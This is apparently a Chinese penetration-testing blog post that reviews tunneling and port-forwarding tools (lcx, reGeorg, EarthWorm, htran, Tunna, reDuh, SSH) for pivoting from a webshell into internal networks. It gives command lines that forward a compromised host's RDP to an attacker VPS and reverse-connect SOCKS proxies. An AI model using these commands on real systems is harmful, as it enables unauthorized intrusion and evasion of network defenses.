[原創]代理轉發工具匯總分析


0. 序

原文發在t00ls,反饋不錯,被評為精華帖子。


在綜合的滲透過程中,Shell is Only the Beginning 。 內網滲透無論是難度還是廣度都不亞於前端入侵。
介於Webshell 和 內網滲透之間的是 代理轉發工具。 一個高效穩定代理尤為重要。
我們經常用的代理轉發工具包括:端口轉發工具、Web代理腳本、Shell反彈腳本、VPN等,如下圖

1. 關於代理的說明
1. 引用redrain:正向代理是我們自己(Lhost)戴套(proxy)插進去,反向代理是她(Rhost)主動通過上位(proxy)坐上來(Lhost)
2. 反向代理:將內網的流量轉發到外網  ; 正向代理:以某台機器為跳板,做正向代理進行內網穿透

2. 關於多個代理轉發工具的使用心得
總體來講,自身使用頻率較高的是:
第一個是 LCX 對 windows 3389 的轉發;
第二個是 reGeorg 通過上傳對應腳本(PHP/ASPX/JSP),然后全局代理進一步內網滲透;
第三個是 EarthWorm ,今年發現的,效果不錯。並且還能多重網絡應用。

主要的想法心得:
1. windows 系列, 肯定把3389 彈出來 比較直接, lcx 作為首選。 當然這也是比較老的工具了。
2. linux 系列, 22 也需要轉發, 但總感覺需求不如3389大, 需要交互式shell 直接 shell 反彈就好了,比如bash nc python等。
3. 全局代理很有必要,regeorg ew 都不錯,速度也跟的上,性能相對穩定。 掛上局部或者全局代理后,可以NMAP 可以fenghuangscan 也可以POC-fuzz 等等,試想今年豬豬俠講的SSRF 作用那么大,借助代理后能做的更多。
4. 實測的 Tunna & reDuh 速度比較慢, 但reDuh 在RDP 過程中 比Tunna 快。
5. Proxifier  這個工具操作起來稍微麻煩,但用習慣了,特別好用。 比如掛代理后,遠控內網的DB...
6. SocksCap64 & proxychains   都是局部代理, 快速方便,簡單易懂。
7. Htran 這個工具支持的非常全面支持正向代理、反向代理、正向端口轉發、反向端口轉發, 在實際滲透過程中正向端口轉發略顯雞肋,誰家Web應用任你隨便開端口? 即使開了防火牆也不樂意。
8. SSH轉發、NC 、bash 等反彈,方便快捷,不用上傳東西,居家旅行必備。
如下圖,xls文件 稍后分享

 

 3. 解釋下Web代理的原理和重要性
我用的Web代理主要是reGeorg EarthWorm , EW 的功能更完善。reGeorg 屬於正向代理、EW 支持正向&反向代理。估計后期會更加強大。
1.菜刀我們都用過,其中有個功能非常實惠,就是數據庫連接功能。 不但能夠連接自身IP的數據庫,也能連接內網對應的數據庫。  他之所以能夠做到,是因為他是以Web應用的網絡權限去連接內網數據庫。
2.同理,我們上傳腳本后,使用了Web代理,若使用了全局代理,相當於我們整個PC 的通訊都是以 Web應用的網絡權限去訪問內網。
下面我給個測試用例:
webshell 及 VPS 套用,打馬比較麻煩。 我用的是本機和虛擬機。
主機A(win10) ----  Web應用B(win2003) ----  內網主機C(kali)
192.168.1.103 ----  192.168.192.129        ---- 192.168.192.128
原則上來講,我用A 訪問 C 是能直接通訊的, 我沒有設置iptables, 稍后我通過wireshark 抓包來觀察現象。(若A訪問C,源地址是192.168.192.1 虛擬網卡的地址)
目的:攻擊者A 通過web應用B 看內網主機C, 在C上查看流量發現是B訪問的而非攻擊者。
步驟如下:
第一步: 上傳tunnel 文件 到 Web應用B
第二步: 在A 上,使用reGeorgSocksProxy.py 並指定端口
第三步: 設置自己的代理Proxifier 或者SocksCap64(本次使用的是proxifier)
第四步: 在C上使用wireshark 查看流量信息。(當然也可以查看日志)
截圖如下:

4. 其他工具的一些使用方法概要
PS:其實這些網上很多,最后我附上我覺得還不錯的鏈接。
LCX
VPS: lcx -listen 2222 3333
//2222為轉發端口,3333為本機任意未被占用的端口
肉雞:lcx -slave 119.75.217.56 2222 127.0.0.1 3389
//119.75.217.56 為VPS IP,2222為轉發端口,127.0.0.1為肉雞內網IP,3389為遠程終端端口
3389連接時格式   127.0.0.1:3333

rtcp.py
from:http://blog.knownsec.com/2012/02/open-source-rtcp/
A服務器在內網,公網無法直接訪問這台服務器,但是A服務器可以聯網訪問公網的B服務器(假設IP為222.2.2.2)。
我們也可以訪問公網的B服務器。我們的目標是訪問A服務器的22端口。那么可以這樣:
1. 在B服務器上運行:
./rtcp.py l:10001 l:10002
表示在本地監聽了10001與10002兩個端口,這樣,這兩個端口就可以互相傳輸數據了。
2. 在A服務器上運行:
./rtcp.py c:localhost:22 c:222.2.2.2:10001
表示連接本地的22端口與B服務器的10001端口,這兩個端口也可以互相傳輸數據了。
3. 然后我們就可以這樣來訪問A服務器的22端口了:
ssh 222.2.2.2 -p 10002
原理很簡單,這個命令執行后,B服務器的10002端口接收到的任何數據都會傳給10001端口,此時,A服務器是連接了B服務器的10001端口的,數據就會傳給A服務器,最終進入A服務器的22端口。
測試用例截圖如下:

這個過程有個報錯ssh_exchange_identification: read: Connection reset by peer  解決方法:chmod 400 /etc/ssh/*

htran

 

正向代理
服務端      htran.exe -s -bind 8888
客戶端      SocksCap:SOCKS Version 5 服務端IP:8888

反向代理
客戶端      htran.exe -s -listen 1234 8888
服務端      htran.exe -s -connect 客戶端IP 1234
客戶端      SocksCap:SOCKS Version 5 127.0.0.1:8888

正向端口轉發
服務端      htran.exe -p -tran 8888 127.0.0.1 3389
客戶端      RDP 服務端IP:8888

反向端口轉發
客戶端      htran.exe -p -listen 1234 8888
服務端      htran.exe -p -slave 客戶端IP 1234 127.0.0.1 3389
客戶端      RDP 127.0.0.1:8888

 

Tunna
這個工具用法很普通,主要是中間有個bug我給提示下
第一步 上傳腳本
第二步 運行proxy.py 並指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
第三步 本地執行  rdesktop 127.0.0.1:1234
bug : 在過程中,出現遠程桌面的黃框后程序斷掉,不要關閉這個提示,再運行一次即可。

 

 

 reDuh
第一步:把服務端的reDuh腳本(aspx php jsp)上傳到目標服務器。
第二步:java -jar reDuhClient.jar http://192.168.3.143/reDuh.php
第三步:新開命令窗口,nc -vv localhost 1010
            然后輸入[createTunnel]1234:127.0.0.1:22
            //前面的1234是本機連接用的端口,中間的ip地址是目標服務器的(可以是webshell所在服務器也可以是和它同內網的服務器),后面的22是欲連接目標服務器的端口。
           成功后兩個命令行窗口都會有成功提示。Successfully bound locally to port 1234. Awaiting connections.
第四步:遠程連接

reGeorg
步驟不再贅述,見原理,分享一個webshell后代理后的 測試效果

另外git還有個配套的腳本,專門用來收集內網信息的——dir_scan.py &  net_scan.py 。
https://github.com/kovige/NetScan

 

EarthWorm
from:http://rootkiter.com/EarthWorm/
按照官網來即可,那幾個參數得多弄幾遍才會記得清。
配套的Termite 也非常不錯。
正向代理

反向代理
a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公網主機添加轉接隧道,將 1080 收到的代理請求轉交給反連 8888 端口的主機
b) ./ew -s rssocks -d 1.1.1.1 -e 8888         
// 將目標網絡的可控邊界主機反向連接公網主機
c) HackTools 可通過訪問 1.1.1.1:1080 端口使用 rssocks 主機提供的 socks5 代理服務

 

SSH轉發

 

比較實用。拿來主義
SSH隧道進行代理
ssh -qTfnN -L port:host:hostport -l user remote_ip  
#正向隧道,監聽本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip  
#反向隧道,用於內網穿透防火牆限制之類
SSH -qTfnN -D port remotehost   
SSH端口轉發
ssh -CfNg -L port1:127.0.0.1:port2 user@host   
#本地轉發
ssh -CfNg -R port2:127.0.0.1:port1 user@host   
#遠程轉發

 

 

5. 附錄-參考資料
1. http://www.freebuf.com/articles/system/12182.html    Socks代理反彈突破內網
2. http://www.cnseay.com/3972/                                     奇人絕技:利用php socket5代理進行內網滲透測試
3. https://www.91ri.org/14390.html                                內網滲透隨想
4. http://le4f.net/post/post/revers ... he-penetration-test    滲透測試:反彈與轉發小結
5. http://staff.washington.edu/corey/fw/ssh-port-forwarding.html         ssh 端口轉發
6. 文中提到的表格下載地址 分享-代理轉發工具匯總.xlsx(打開表格的密碼是sm0nk)    鏈接: https://pan.baidu.com/s/1jIxzIiq 密碼: kd8r 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM